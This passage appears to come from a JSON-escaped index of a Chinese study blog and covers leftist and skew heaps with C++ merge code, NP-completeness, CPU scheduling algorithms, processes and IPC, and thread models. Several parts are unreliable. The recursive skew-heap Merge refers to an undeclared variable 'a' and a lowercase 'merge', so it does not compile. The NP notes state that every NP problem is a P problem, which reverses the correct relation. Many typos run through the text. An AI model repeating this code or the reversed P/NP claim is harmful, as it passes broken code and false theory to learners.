vector\u0026lt;Heap*\u0026gt; stk; while (a \u0026amp;\u0026amp; b) { if(a-\u0026gt;val \u0026gt; b-\u0026gt;val) swap(a, b); stk.push_back(a); a = a-\u0026gt;right; } Heap* tail = a ? a : b; while(!stk.empty()) { Heap* p = stk.back(); stk.pop_back(); p-\u0026gt;right = tail; if(Npl(p-\u0026gt;left) \u0026lt; Npl(p-\u0026gt;right)) swap(p-\u0026gt;left, p-\u0026gt;right); p-\u0026gt;Npl = Npl(p-\u0026gt;right) + 1; tail = p; } return tail; } 斜堆(Skew Heap)\r斜堆与左式堆的关系\r斜堆与左式堆都是自调整的可合并优先队列，所有操作都基于合并，且合并总是沿着右路径进行 斜堆不需要维护Npl等信息，唯一的自调整策略为在每次合并的回溯阶段无条件交换当前根的左右子树。这样使得树形态不断自适应，避免长期偏斜。 斜堆不保证严格的对数深度，但能够证明合并的摊还时间为$O(log n)$，实践中常比左式堆常数更小、实现更简洁。 合并操作\r递归合并\r操作逻辑\r若一方为空，直接返回另一方 若双方都不为空，比较根节点键值，键值较小的作为H1，键值较大的作为H2 归并H1的右子树与H2 交换H1的左右子树 返回H1 示例代码\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 inline int Npl(Heap* x) { return x ? x-\u0026gt;Npl : -1; } Heap* Merge(Heap* H1, Heap* H2) { if(!H1) return H2; if(!H2) return H1; if(H1-\u0026gt;key \u0026gt; H2-\u0026gt;key) swap(H1, H2); a-\u0026gt;right = merge(H1-\u0026gt;right, H2); swap(H1-\u0026gt;left, H1-\u0026gt;right); return a; } 迭代归并\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Heap* Merge(Heap* H1, Heap* H2) { if (!H1) return H2; if (!H2) return H1; Heap *a = H1, *b = H2; vector\u0026lt;Heap*\u0026gt; S; // 向下：总让较小根为 a，只沿 a-\u0026gt;right 前进，并把路径入栈 while (a \u0026amp;\u0026amp; b) { if (a-\u0026gt;val \u0026gt; b-\u0026gt;val) swap(a, b); S.push_back(a); a = a-\u0026gt;right; } // 剩余非空一侧作为尾部 Heap* tail = a ? a : b; // 回溯：连接右子并无条件交换左右子 while (!S.empty()) { Heap* p = S.back(); S.pop_back(); p-\u0026gt;right = tail; swap(p-\u0026gt;left, p-\u0026gt;right); // 斜堆特性：无条件交换 tail = p; } return tail; } ","date":"2025-08-12T10:58:00+08:00","permalink":"https://example.com/p/%E5%B7%A6%E5%BC%8F%E5%A0%86%E4%B8%8E%E6%96%9C%E5%A0%86/","title":"左式堆与斜堆"},{"content":"NP完备性问题\rNP-Complete问题（NPC问题）是信息学中一个重要和知名的命题，我们现在在尝试一下自然地理解这个问题。 首先从涉及到的名词开始，这里会涉及到的名词包括P问题，NP问题，NPC问题和NP-Hard问题。我们从最简单的P问题开始。P问题是存在能够在多项式时间复杂度内解决问题的算法的问题。这对于实现来说是一个“好”的性质。因为更高的时间复杂度，如阶乘或指数时间复杂度算法的耗时会随着数据规模的增长极其迅速地增长，带来的开销是无法接受的。因此我们当然希望所有的问题都可以是P问题。但是我们可以发现，对于有些问题没能找出多项式时间复杂度的算法，对于这一类问题我们可以退而求其次，寻找在在多项式时间复杂度内验证一个解的方法，这就引出了NP问题。 NP问题指的是可以在多项式时间内验证一个解的问题。我们容易知道，一个NP问题必定是一个P问题，因为既然已经求出了解，那么验证只需要进行一个不增加时间复杂度的比对就行。即有逻辑表达式$P \\in NP$。那么自然的，我们也会想知道是否有$NP \\in P$，如果我们能够证明$NP \\in P$，那也就证明了$P = NP$，因为这就意味着凡是能在多项式复杂度内验证的问题都可以在多项式复杂度内解决，这有着重大意义。这是信息学中一个重要、知名和至今仍未被解决的问题。为了尝试证明或证伪这个命题，我们需要引入另一个概念————规约，或称约化(Reducibility)。 规约的定义是这样的，如果可以通过将问题A转化为问题B的一个实例，从而运用解决B的方案来解决A，那么我们就说“问题A可以规约到问题B”。一个经典的例子是，问题A是求解一元一次方程，问题2是求解一元二次方程，此时A可以作为B的一个实例，即令二元一次方程的平方项系数为0，它就退化成了一个一元一次方程。因此我们说求解一元一次方程问题可以归约到求解一元二次方程问题。而在NP问题的场景下，一个经典的例子就是Halmition回路问题与TSP问题。在Hamilton回路问题中，两点相连即这两点距离为0，两点不直接相连则令其距离为1，于是问题转化为在TSP问题中，是否存在一条长为0的路径。Hamilton回路存在当且仅当TSP问题中存在长为0的回路。那么引入规约的意义在哪里呢？意义在于我们可以注意到，如果A可以被归约到B，那么必然有A的时间复杂度小于等于B，因此我们可以说A不比B简单。注意这里的简单不只是一个直观的感受，而是有明确定义的，即如果A可以被归约到B，那么A不比B简单。（当然这个定义也是符合直觉的）通过规约，我们可以尝试将一个NP问题包含到另一个NP问题中，并且尝试找到一个能够包含一切NP问题的问题，即NP-Complete问题，简称NPC问题。当然，在这一语境下，这个变换的方法的时间复杂度也必须是多项式复杂度的，否则就失去了意义。这样的规约被称为“多项式地”规约，以下简称为规约。 首先我们来解答一个问题：是否真的存在NPC问题？答案是肯定的，历史上发现的第一个NPC问题是电路可满足性问题(CIRCUIT-SAT)。简单地说，就是组织一系列的逻辑电路。要求求解各组能够使电路输出为true的输入。那么如何证明这是一个NPC问题？首先容易发现这个问题可以在多项式时间内验证，因为只需要按照电路逐步计算即可。然后我们可以发现，所有的计算机问题都可以视为一系列的0和1信号在电路中的流动，因此所有计算机问题都可以被归约到电路可满足性问题。 在发现了第一个NPC问题后，寻找新的NPC问题就变的容易了。因为证明一个问题是 NPC问题也很简单。先证明它至少是一个NP问题，再证明其中一个已知的NPC问题能约化到它即可。 那么NPC问题对于证明或证伪$P = NP$有什么意义？意义在于它使得$P = NP$显得难以置信。因为所有的NPC问题在难度上都是等价的，这就意味着计算机科学领域和生产生活中的巨量问题，包括SAT、TSP、图着色问题、背包问题、蛋白质折叠问题、整数规划问题等全部都存在一个共同的、高校的解法。这就像是说，你只需要找到一把能打开“旅行商问题”这个锁的钥匙，然后你惊讶地发现，这把钥匙竟然也能打开“蛋白质折叠”、“芯片设计”、“航班调度”等成千上万把看起来完全不同的锁。这种“万能钥匙”的存在，虽然在逻辑上不能被排除，但在直觉和经验上是极其反常和令人难以置信的。 最后来讲一下NP-Hard问题，NP-Hard问题是不被包含在上面的主线（从P到NP再到NPC）中的，因为一个NP-Hard问题可能不是一个NP问题。一个问题成为NP-Hard问题只需要满足一个条件：任何一个 NP 问题都可以在多项式时间内归约到它。它和NPC问题的区别在于NPC-Hard问题并不要求问题能在多项式时间内被验证。简单说：NP-Hard 是一个更宽泛的标签，它只关心问题的“难度下限”，而不关心问题本身是否容易验证。它包含了以下问题：\n所有的 NP-Complete 问题。 比 NP-Complete 更难，但仍然可解的问题（如优化版 TSP）。 比 NP-Complete 难得多，甚至不可解的问题（如停机问题）。 ","date":"2025-08-10T10:00:00+08:00","permalink":"https://example.com/p/np%E5%AE%8C%E5%A4%87%E6%80%A7%E9%97%AE%E9%A2%98/","title":"NP完备性问题"},{"content":"调度\r调度术语\r术语辨析\r被操作系统调度的是内核线程————而不是进程 然而，“线程调度”和“进程调度”这两个属于经常互换使用 当讨论一般概念时我们使用“进程调度”，当设计线程特定概念时使用“线程调度” 同时“在CPU上运行”实际是指在“CPU核心上运行” 注：CPU与CPU核心\rCPU可以包含多个核心。何以把CPU比作一座办公大楼，CPU核心是一个办公室，正在执行的线程就是一个正在工作的员工 进程调度\r基本概念\r进程执行由CPU执行和I/O等待的循环组成 CPU突发和I/O突发交替进行 CPU突发分布在进程间和计算机间差异很大，但遵循相似的曲线 通过多道程序设计获得最大的CPU利用率 当前进程处于I/O突发时，CPU调度器选择另一个进程 CPU调度器\r调度决策选择\rCPU调度器从就绪队列中的进程中进行选择，并将CPU分配给其中一个进程 CPU调度决策可能在一下情况发生 进程从运行状态切换到等待状态 进程从运行状态切换到就绪状态 进程从等待状态切换到就绪状态 进程终止 仅在条件1和4下的调度是非抢占式的 一旦CPU被分配给进程，该进程会保持CPU直到终止或等待I/O 也被称为协作式调度 抢占式调度还会在条件2和3下调度进程 抢占式调度需要硬件支持，如定时器 需要同步原语 注：协作式调度与抢占式调度\r协作式调度：自觉排队 基本思想：没有管理员的机房，每个人用完电脑后主动让给下一个人，程序自己决定什么时候停下来并主动分享资源 什么时候让出CPU 程序需要读写文件时（I/O） 程序主动调用sleep休眠 程序运行完毕退出 程序主动调用yield让出 抢占式调度：由管理员的排队 核心思想：有管理员的机房，管理员用定时器控制每个人的使用时间，到了时间就必须让出 什么时候强制切换 时间片用完 有更高优先级的程序要运行 程序进行I/O操作时 程序运行完毕 抢占\r内核抢占\r抢占也会影响系统内核的设计 如果在更新共享数据时被抢占，内核状态将会不一致 即当中断发生时内核正在服务系统调用 两种解决方案 等待系统调用完成或I/O阻塞 内核时非抢占式的，但对进程仍然是抢占式的 在更新共享数据时禁用内核抢占 最新的Linux内核采用这种方法 Linux支持SMP 共享数据受内核同步保护 在内核同步时禁用内核抢占 将非抢占式SMP内核转变为抢占式内核 用户抢占和内核抢占的具体时机\r用户抢占 从系统调用返回用户空间时 从中断处理程序返回用户空间时 内核抢占 当中断处理程序退出，返回内核空间之前 当内核代码重新变为可抢占时 如果内核中的任务显示调用schedule() 如果内核中的任务阻塞（这会导致调用schedule） 分派器(Dispatcher)\r分派器模块将CPU的控制权交给由段齐调度器选中的进程 切换上下文 切换到用户模式 跳转到用户程序中的正确位置以重启该程序 分派延迟：分派其停止一个进程并启动另一个进程所需的时间 调度标准\rCPU利用率：CPU忙碌的百分比 吞吐量：每个事件单位内完成执行的进程数量 周转时间：执行特定进程的事件 从提交时间到完成时间 等待时间：在就绪队列中等待的总时间 相应时间：从请求提交到产生第一个相应所需的时间 开始相应所需的时间 调度算法优化标准\r一般来说，最大化CPU利用率和吞吐率，最小化周转时间、等待时间和响应时间 不同系统优化不同的值 在多数情况下优化平均值 在某些情况下，优化最小值或最大值 例如：实时系统 对于交互式系统，最小化响应时间的方差 调度算法\r先来先服务调度(FCFS)\r总结：排队买票 核心思想：谁先来谁先服务，就像银行排队一样 工作原理 按照进程到达的先后顺序执行 第一个到达当地的进程先执行完，在执行第二个，以此类推 一旦开始执行就不会被打断 优点：公平、简单、不会饥饿 缺点：短任务可能等很久（护航效应） 最短作业优先调整(SJF)\r总结：快餐优先 核心思想：总是先做最快能完成的任务 工作原理： 在所有等待的进程中，选择执行时间最短的执行 可以大幅减少平均等待时间 需要事先知道每个进程要执行多长时间 优点：平均等待时间最短（理论最优） 缺点：长任务可能永远轮不到（饥饿问题） 优先级调度(Priority)\r核心思想：重要的任务先做 工作原理： 每个进程都有一个优先级数字 总是选择优先级最高的进程执行 可以根据重要性动态调整优先级 老化机制：为了防止普通顾客永远等不到，可以让等待时间长的客户逐渐升级 优点：体现重要性，灵活可控 缺点：低优先级可能饥饿，需要防饥饿机制 时间片轮转调度(Round Robin)\r核心思想：轮流服务 工作原理： 给每个进程分配相同的时间片 时间到了就强制切换到下一个进程 没完成的进程重新排队等下一轮 优点：响应时间好，公平，适合交互式系统 缺点：频繁切换有开销，时间片大小难选择 多级队列调度(MLQ)\r核心思想：分类服务 工作原理 把进程分成几个固定的类别（系统进程、前台进程、后台进程等） 每个类别有自己的队列和调度策略 高优先级队列优先服务 优点：不同类型用最适合的策略，系统进程优先 缺点：底层队列可能饥饿，分类可能不准确 多级反馈队列调度(MLFQ)\r核心思想：根据客户的行为表现动态调整服务等级 工作原理： 新进程从最高优先级队列开始 如果用完时间片还没完成，就降级到下一级队列 如果主动让出CPU（比如等待I/O），可能提升等级 等待太久的进程会自动升级（防止饥饿） 优点：最只能，自适应，段任务响应快，长任务不饥饿 缺点：最复杂，参数调整困难，实现开销大 MLQ详解\r多级队列调度\r多级队列调度 就绪队列被分割为多个独立的队列 例如：前台（交互式）进程和后台（批处理）进程 进程被永久分配到指定的队列 每个队列都有自己的调度算法 例如：交互式进程使用RR，批处理进程使用FCFS 队列间调度 必须子啊队列之间进行调度 固定优先级调度 存在饥饿的可能性 时间片分配：每个队列获得一定数量的CPU时间，用于在其进程之间进行调度 例如：前台进程80%时间用RR，后台进程20%时间用FCFS 多级反馈队列 多级反馈队列调度使用多级队列 进程可以在不同队列之间移动 它试图推断进程的类型 老化机制可以通过这种方式实现 目标时给交互式和I/O密集型进程高优先级 MLFQ定义参数 MLFQ调度器由以下参数定义 队列数量 每个队列的调度算法 确定何时给进程分配更高优先级的方法 确定何时降级进程的方法 确定进程需要服务时进入那个队列的方法 MLFQ是最通用的CPU调度算法 线程调度\r操作系统内核调度内核线程 系统竞争范围 (SCS)：系统中所有线程之间的竞争 内核不知道用户线程的存在 线程库将用户线程调度到LWP上 用于多对一和多对多线程模型 进程竞争范围 (PCS)：进程内部的调度竞争 PCS通常基于用户设置的优先级 被调度到LWP的用户线程不一定在CPU上运行 操作系统内核需要将LWP的内核线程调度到CPU上 ","date":"2025-08-01T21:50:00+08:00","permalink":"https://example.com/p/%E8%B0%83%E5%BA%A6/","title":"调度"},{"content":"进程\r进程的概念\r进程与程序\r一个操作系统可以运行许多个程序，一个运行中的程序被称为进程(Process) 进程与程序的关系： 程序是被动和静态的，进程是主动和动态的 一个程序对应的可能有多个进程 程序可以通过GUI或命令行启动 进程的组成\r程序代码 内容：可执行的程序指令 特点：只读，多个相同进程可以共享同一份代码 运行时CPU状态 程序技术去(PC): 指向下一条要执行的指令地址 寄存器组： 通用寄存器：存储计算数据 状态寄存器：保存处理器状态标志 专用寄存器：如栈指针、基址寄存器等 内存区域 栈(Stack) 数据段(Data Section) 堆(Heap) 进程的状态(State)\r一个进程包含以下状态 new running wating/blocking ready terminated 状态转换示意图 进程控制块(Process Control Block, PCB)\r基本概念\rPCB是操作系统管理进程的核心数据结构，每个进程都有唯一的PCB PCB的四大类信息、\r进程标识信息 PID：进程唯一标识符 PPID：父进程ID UID/GID：用户和组标识符 处理机状态信息 程序计数器(PC)：下一条指令地址 寄存器组：CPU寄存器的值 栈指针：当前栈位置 进程调度信息： 优先级：调度优先级 进程状态：运行/就绪/阻塞等 CPU时间：已使用和分配的时间 进程控制信息 内存管理：页表、内存映射 文件管理：打开的文件列表 信号处理：信号处理机制 PCB的关键作用\r上下文切换 保存当前进程状态到PCB，然后从PCB恢复目标进程状态 进程管理 创建：分配新PCB 调度：基于PCB信息选择进程 终止：释放PCB和相关资源 资源跟踪 内存分配情况 打开的文件 拥有的设备 PCB在linux中的实现: task_struct\rLinux使用task_struct结构体实现PCB，包含： 进程状态和标识 内存管理信息(mm_struct) 文件系统信息(files_struct) 父子进程关系 PCB在系统中的组织 进程链表：所有进程形成链表 哈希表：通过PID快速查找 运行队列：就绪进程的调度队列 线程(Thread)\r进程调度\r调度\rCPU调度器会选择接下来要运行的进程并分配内存。这个操作一般是非常快的 调度队列\r定义\r操作系统内核用来组织和管理不同状态进程的数据结构，是实现搞笑进程调度的基础。 三种主要调度队列\r作业队列(Job Queue) 范围：系统中的所有进程 用途：全局管理和统计 对应命令：ps aux 就绪队列(Ready Queue) 范围：准备执行的进程 特点：按优先级组织，支持快速选择 实现：多级队列 + 位图索引 设备队列(Device Queue) 范围：等待I/O的进程 分类：磁盘、网络、键盘等不同设备 状态：TASK_INTERRUPTIBLE/UNINTERRUPTIBLE 上下文切换(Context Switch)\r定义\r内核切换到另一个进程去执行，保存就进程的状态并加载新进程的已保存状态 开销\r上下文切换是开销，CPU在切换时不做任何有用的工作。操作系统和PCB越复杂，上下文切换时间越长，时间取决于硬件支持。某些硬件为每个CPU提供多组寄存器，可以同时加载多个上下文 进程创建\r概念\r父进程可以创建子进程，子进程可以进一步创建子进程，形成进程树。进程通过进程标识符(PID)来识别和管理 Design choices\r三种可能的资源共享级别：全部、子集、无 父进程和子进程的地址空间管理 子进程复制父进程地址空间(Linux) 子进程加载新程序(Windows) 父进程和子进程的执行 父进程和子进程并发执行 父进程等待子进程终止 用于进程创建的系统调用\rfork: 创建一个新的进程副本，结束时会返回 exec: 使用一个新的进程的地址覆盖当前进程地址，加载了新程序，不会返回原程序 wait: 阻塞直到子进程结束 进程终止\r工作流程\r正常终止：进程执行最后一条语句并请求内核删除它(exit) 操作系统将子进程的返回值传递给父进程(wait) 进程的资源被操作系统释放 异常终止：父进程可能终止子进程的执行(abort) 子进程超出了分配到的资源 分配给子进程的任务不在被需要 如果父进程退出，一些操作系统不允许子进程继续 所有子进程（整个子树）将被终止-这被称为级联终止(cascading termination) 注：exit与_exit\rexit为标准库函数，执行终止进程和清理 _exit为系统调用，直接请求内核终止进程，不做清理 可能存在的错误————僵尸进程与孤儿进程\r僵尸进程\r僵尸进程时已经执行完毕但父进程还没有回收其退出状态的子进程 特征 进程已死亡：不再执行任何代码 PCB仍存在：内核保留进程控制块 保存退出状态：等待父进程读取 不占用内存：代码段、数据段、栈都释放 占用PID槽位：PID不能被其他进程使用 ps显示为\u0026lt;defunct\u0026gt;：状态标记为Z 孤儿进程\r孤儿进程是父进程已经退出，但子进程仍然在运行的进程 特征 仍在运行：进程仍然正常执行 父进程变更：PPID变为1（init进程） 正常运行：功能不受影响 自动回收：退出时由init进程回收 通常无害：不会造成资源泄漏 关键区别\r僵尸进程是管理问题，有害，大量积累会耗尽系统资源，需要程序员解决 孤儿进程是自然现象，无害，系统自动解决 Android进程\rAndroid进程重要性层次结构\r移动操作系统经常需要终止进程来回收系统资源（如内存）。按重要性从高到低排列 前台进程：在屏幕上可见 用户正在使用微信 可见进程：不直接可见，但执行前台进程正在引用的活动 视频应用播放时弹出权限对话框 服务进程：如流媒体音乐 音乐应用后台播放 后台进程：执行活动，但用户不明显感知 用户切换应用后原应用进入后台 空进程：不包含任何活动 Android将开始终止最不重要的进程 浏览器的多进程架构\r在过去许多网页浏览器作为单一进程运行（有些仍然如此）。这会导致如果一个网站出现问题，整个浏览器都可能挂起或崩溃 Google Chrome浏览器采用多进程架构，包含3中不同类型的进程： 浏览器进程：管理用户界面、磁盘和网络I/O 渲染进程：渲染网页，处理HTML、Javascript。为每个打开的网页创建新的渲染进程 运行在沙箱中，限制磁盘和网络I/O,最小化安全漏洞的影响 插件进程：为每种类型的插件创建进程 进程间通信\r概念\r系统中的进程可能是独立的或协作的 独立进程：无法影响或被其他进程的执行所影响的进程 协作进程：可以影响或被其他进程影响的进程，包括共享数据 协作进程的原因：信息共享、计算加速、模块化、便利性、安全性 写作进程需要进程间通信(IPC) IPC模型\r存在两种IPC模型： 共享内存 消息传递 示意图： 生产者-消费者问题\r协作进程的范例，生产者进程产生信息，被消费者进程消费 无界缓冲区：对缓冲区大小没有实际限制 有界缓冲区：假设有固定的缓冲区大小 消息传递\r进程通过交换消息互相通信 无需依赖共享变量 消息传递提供两个操作 send：发送消息 receive：接受消息 如果P和Q希望通信，它们需要 在它们之间建立通信链路 例如：邮箱(间接)或基于pid(直接) 通过send/receive交换消息 直接与间接通信 直接通信 对称寻址: send(P, Message), receive(Q, Message) 非对称寻址: send(P, message), receive(id, Message) 间接通信 send(A, Message), receive(A, Message) -邮箱A 邮箱可以由进程和操作系统实现 邮箱所有者：谁可以接收消息 同步机制 消息传递可以是阻塞的或非阻塞的 阻塞被认为是同步的 阻塞发送：发送者阻塞直到消息被接收 阻塞接收：接收者阻塞直到有消息可用 非阻塞被认为是异步的 非阻塞发送：发送者发送消息后继续执行 非阻塞接收：接收者接收有效消息或返回空值 缓冲机制 附加到链路的消息队列 零容量：0条消息 发送者必须等待接收者 有些容量：有线长度的n条消息 如果链路满，发送者必须等待 误解容量：无限长度 发送者永不等待 POSIX共享内存\r概念\r进程首先创建共享内存段 也用于打开现有的内存段 设置对象的大小 使用mmap()将文件指针内存映射到共享内存对象 对共享内存的督学通过mmap()返回的指针完成 管道\r管道作为一个通道，允许两个本地进程通信 关键问题 通信是单向的还是双向的？ 在双向通信的情况下，是半双工还是全双工？ 进程之间是否必须存在关系（即父子关系）？ 管道是否可以在网络上使用？ 通常只用于本地进程 普通管道 普通管道允许生产者-消费者风格的通信 生产者写入一端 消费者从另一端读取 因此普通管道是单向的 如果需要双向通信，需要两个管道 要求通信进程之间有父子关系 命名管道 命名管道比普通管道更强大 通信是双向的 进程之间不需要父子关系 多个进程可以使用命名管道进行通信 命名管道在UNIX和Windows系统上都有提供 在Linux上，它被称为FIFO 客户端-用户交互\r套接字(Socket)\r套接字被定义为通信的端点 IP地址和端口的连接 套接字 161.25.19.8:1625 指的是主机 161.25.19.8 上的端口 1625 通信在一对套接字之间进行 ","date":"2025-08-01T21:50:00+08:00","permalink":"https://example.com/p/%E8%BF%9B%E7%A8%8B/","title":"进程"},{"content":"线程\r相关概念\r定义\r定义：线程是独立的指令流，可以被内核调度运行 进程包含的状态和资源 代码、堆、数据、文件句柄（包括套接字）、进程间通信（IPC） 进程ID、进程组ID、用户ID 栈、寄存器、程序计数器（PC） 线程与进程关系 线程存在于进程内部，并共享进程的资源 每个线程都有自己的核心资源（线程独有资源） 栈 寄存器 程序计数器 线程特定数据 访问共享资源需要同步 线程由内核独立调度 每个线程都有自己独立的控制流 每个线程都可以处于任何调度状态 线程的优势\r响应性：多线程交互应用程序允许程序即使在部分被阻塞或执行长时间操作时也能继续运行 资源共享：资源共享可以实现高校通信和高度协作。线程默认共享进程的资源和内存。 经济性：线程比进程更轻量级，创建和上下文切换的开销更小 多线程服务器架构\r架构示意图\r* 工作方式解释：server的主进程（一般是监听进程）接受客户端的请求，然后主进程创建一个新的线程来处理请求。之后主监听进程继续监听其他的客户端请求\r注：并发与并行\r定义\r并发计算是一种计算形式，其中程序被设计为相互交互的计算进程集合，这些进程可以并行执行。并发程序（进程或线程）可以在单个处理器上通过时间片轮转的方式交错执行各自的执行步骤，也可以通过将每个计算进程分配给一组处理器来并行执行。程序作为独立执行进程的组合，这些进程相互通信。 行计算是一种计算形式，其中许多计算同时进行，基于大问题通常可以分解为较小问题的原理，然后\u0026quot;并行\u0026quot;解决这些小问题。 编程作为（可能相关的）计算的同时执行 对比\r维度 并发 (Concurrency) 并行 (Parallelism) 核心概念 同一时间段内交替执行 同一时刻真正同时执行 硬件要求 单核CPU即可 必须多核CPU或多台机器 设计思想 如何组织和管理任务 如何真正同时计算 主要目的 提高响应性、资源利用率 提高计算速度 关键理解\r并发关乎结构，并行关乎执行 并发提供了一种构建解决方案的方式来解决一个可能（但不一定）可并行化的问题 线程的实现\r基本信息\r线程可以在用户级别或由内核提供 用户线程在内核之上支持，无需内核支持即可管理 三个线程库：POSIX Pthreads、Win32线程和Java线程 内核线程由内核直接支持和管理 所有现代操作系统都支持内核线程 线程实现的方式\r内核级线程\r定义\r为了使并发更经济，进程的执行方面被分离为线程。因此，操作系统现在管理线程和进程。所有线程操作都在内核中实现，操作系统调度系统中的所有线程。由操作系统管理的线程成为内核级线程。 在这种方法中，内核知道并管理线程。这种情况下不需要运行系统。内核不是在每个进程中保持线程表，而是拥有一个线程表来跟踪系统中的所有线程。此外，内核还维护传统的进程表来跟踪进程。操作系统内核提供系统调用来创建和管理线程。 优势\r因为内核完全了解所有线程，调度器可能决定给拥有大量线程的进程分配更多时间，而不是给拥有少量线程的进程。 内核级线程对于频繁阻塞的应用程序特别有效 劣势\r内核级线程速度慢而且效率低 存在显著的开销和内核复杂性的增加 用户级线程\r定义\r用户级显示完全由运行时系统（用户级库）管理内核对用户级线程一无所知，将它们作为单线程进程管理。用户级线程小而快，每个线程由PC、寄存器、栈和小型线程控制块表示。创建新线程、线程间切换和线程同步都通过过程调用完成，即无内核参与。用户及线程比内核级线程块100倍。 优势\r这种技术最明显的优势是用户级线程包可以在不支持的线程的操作系统上实现 用户级线程不需要修改操作系统 简单表示：每个线程简单地由PC、寄存器、栈和小型控制块表示，都存储在用户进程地址空间中 简单管理：这意味着创建线程和线程间同步都可以在没有内核干预的情况下完成 快速高效：线程切换比过程调用贵不了多少 劣势\r用户级线程不是完美解决方案，它们是一种权衡。由于用户级线程对操作系统不可见，它们与操作系统集成不好。结果是，操作系统可能做出糟糕决策，如调度有空闲线程的进程、阻塞启动I/O的线程所在的进程（即使该进程有其他可运行线程）、取消调度持有锁的线程所在的进程。解决者需要内核和用户级线程管理器之间的通信。 线程和操作系统内核之间缺乏协调。因此，整个进程获得一个时间片，无论进程有一个线程还是1000个线程。每个线程都要主动放弃控制权给其他线程。 用户级线程需要非阻塞调用，即多线程内核。，否则，整个进程将在内核中阻塞，即使进程中还有可运行的线程。 多线程模型\r含义：\r用户线程和内核线程之间必须存在关系 内核线程是系统中真正的线程，所以为了使用户线程取得进展，用户程序必须让其调度器获取一个用户线程，然后再内核线程上运行它 核心：只有内核线程真正在CPU上执行 多线程模型详解\r多对一模型(Many-to-one)\r多个用户级线程映射到单个内核线程 线路管理由用户空间的线程库完成 如果一个线程进程阻塞系统调用，整个进程将被阻塞 将阻塞系统调用转换为非阻塞 多个线程无法再多处理器上并行运行 一对一模型(One-to-one)\r每个用户级线程映射到一个内核线程 允许其他线程在一个线程阻塞时运行 多个线程可以在多处理器上并行运行 总计金额导致开销 大多数实现次模型的操作系统限制线程数量 多对多模型\r许多用户级线程映射到许多内核线程 解决了1:1和m:1模型的缺点 开发人员可以创建必要数量的用户线程 相应的内核线程可以在多处理器上并行运行 两级模型\r类似对于多对多模型，除了它允许用户线程绑定到内核线程 fork和exec的语义问题\rfork\r当对单线程进程fork时，直接复制整个单线程进程 当读多线程进程fork时，可以理解为只复制调用线程或复制所有线程，在UNIX中有两个版本的fork，每种语义一个 exec\rexec通常替换整个进程 fork与exec的综合使用\r如果在fork后很快调用exec，使用“fork调用线程版本”，不需要复制所有线程 信号处理\r概念\r信号在UNIX系统中用于通知进程发生了特定事件，遵循相同的模式 信号由特定事件的发生而产生 信号倍传递给进程 一旦传递，信号必须被处理 原则\r信号由两种信号处理程序之一处理：默认的或用户定义的 每个信号都有默认处理程序，内核在处理信号时运行 用户定义的信号处理程序可以覆盖默认的 对于单线程，信号传递给进程 多线程环境下的信号处理\r信号可以是同步的（异常）或异步的（I/O） 同步信号传递给引起信号的同一线程 一部信号可以传递给 信号适用的线程 进程中的每个线程 进程中的某些线程（信号掩码） 接收进程所有信号的特定线程 线程取消\r概念\r线程取消：在目标线程完成之前终止它 取消的实现方法\r异步取消：立即终止目标线程 延迟取消：允许目标线程定期检查是否应该被取消 取消的实现细节\r调用线程取消请求取消，但是实际取消取决于线程状态 如果线程禁用了取消，取消保持挂起状态直到线程启用它 默认类型时延迟取消 取消只在线程到达取消点时发生 即pthread_testcancel() 然后调用清理处理程序 在Linux系统上，线程取消通过信号处理 线程特定数据(Thread Specifif Data)\r线程特定数据\r线程本地存储(TLS)允许每个线程拥有自己的数据副本 当你无法控制线程创建过程时很有用（即使用线程池时） 与局部变量不同 局部变量只在单个函数调用期间可见 TLS在函数调用间可见 类似于静态数据 TLS对每个线程都是唯一的 轻量级进程与调度器激活\r轻量级进程概念\r在计算机操作系统中，轻量级进程（LWP）是实现多任务的一种方式。在传统意义上，如Unix System V和Solaris中使用的术语，LWP在用户空间中运行在单个内核线程之上，并与同一进程内的其他LWP共享地址空间和系统资源。多个用户级线程由线程库管理，可以放置在一个或多个LWP之上——允许在用户级进行多任务处理，这可以带来一些性能优势 在一些操作系统中，内核线程和用户线程之间没有单独的LWP层。这意味着用户线程直接在内核线程之上实现。在这些情况下，术语\u0026quot;轻量级进程\u0026quot;通常指内核线程，而术语\u0026quot;线程\u0026quot;可以指用户线程。在Linux上，用户线程通过允许某些进程共享资源来实现，这有时导致这些进程被称为\u0026quot;轻量级进程\u0026quot; 调度方式\r轻量级进程(LWP)是多对多和两级模型中用户线程和内核线程之间的中间数据集二狗 对用户线程库来说，它看起来像虚拟处理器来调度用户线程 每个LWP都连接到一个内核线程 内核线程阻塞 -\u0026gt; LWP阻塞 -\u0026gt; 用户线程阻塞 内核调度内核线程，线程库调度用户线程 线程库可能做出次优的调度决策 解决方案：让内核通知线程库的重要的调度事件 调度器激活通过上调通知线程库 Windos XP线程\r概念\rWindos XP实现一对一映射线程模型 每个线程包含 线程ID 处理器状态的寄存器集 堵路的用户栈和内核栈 私有数据存储区域 线程的主要数据结构包括 ETHREAD：执行线程块 KTHREAD：内核线程块 TEB：线程环境块 Linux线程\rlinux有fork和clone两个系统调用 clone接收一组标志位，决定父进程和子进程之间的共享程度 FS/VM/SIGHAND/FILES -\u0026gt; 相当于线程创建 没有设置标志 -\u0026gt; 没有共享 -\u0026gt; 相当于fork Linux不区分进程和线程，使用术语“任务”而不是线程 线程库\r概念\r线程库为程序员提供了创建和管理线程的API接口 两种主要实现方式\r用户空间实现 完全在用户空间中实现，无需内核支持 特点：快速、轻量级，但无法利用多核 示例：早期的Green Threads 内核级实现 由操作系统支持的内核级库 特点：可以真正并行，但开销较大 示例：现代操作系统的标准实现 线程特性\r线程拥有自己的身份标识，并且可以独立运行 线程共享进程内的地址空间，享受避免任何进程间通信(IPC)通道（共享内存、管道等）进行通信的好处 进程中的线程可以直接相互通信 例如独立的线程可以访问/更新全局变量 这种模型消除了内核本来需要承担的潜在IPC开销。由于线程在同一地址空间中，线程上下文切换是廉价且快速的 Pthread调度\rAPI允许在线程创建时指定PCS或SCS调度范围 pthread_attr_set/getscope是相关的API PTHREAD_SCOPE_PROCESS：使用PCS调度来调度线程 LWP的数量由线程库维护 PTHREAD_SCOPE_SYSTEM：使用SCS调度来调度线程 可用的调度范围可能受到操作系统的限制 例如：Linux和Mac OS X只允许PTHREAD_SCOPE_SYSTEM 多处理器调度\r多处理器架构类型\r多处理器可能是以下任一架构 多核CPU 多线程核心 NUMA系统 异构多处理 多处理器调度基础 当有多个CPU可用时，CPU调度变得更加复杂 假设处理器在功能上时相同的（同构的） 多处理器调度的方法 非对称多处理： 只有一个处理器做调度决策、I/O处理和其他活动 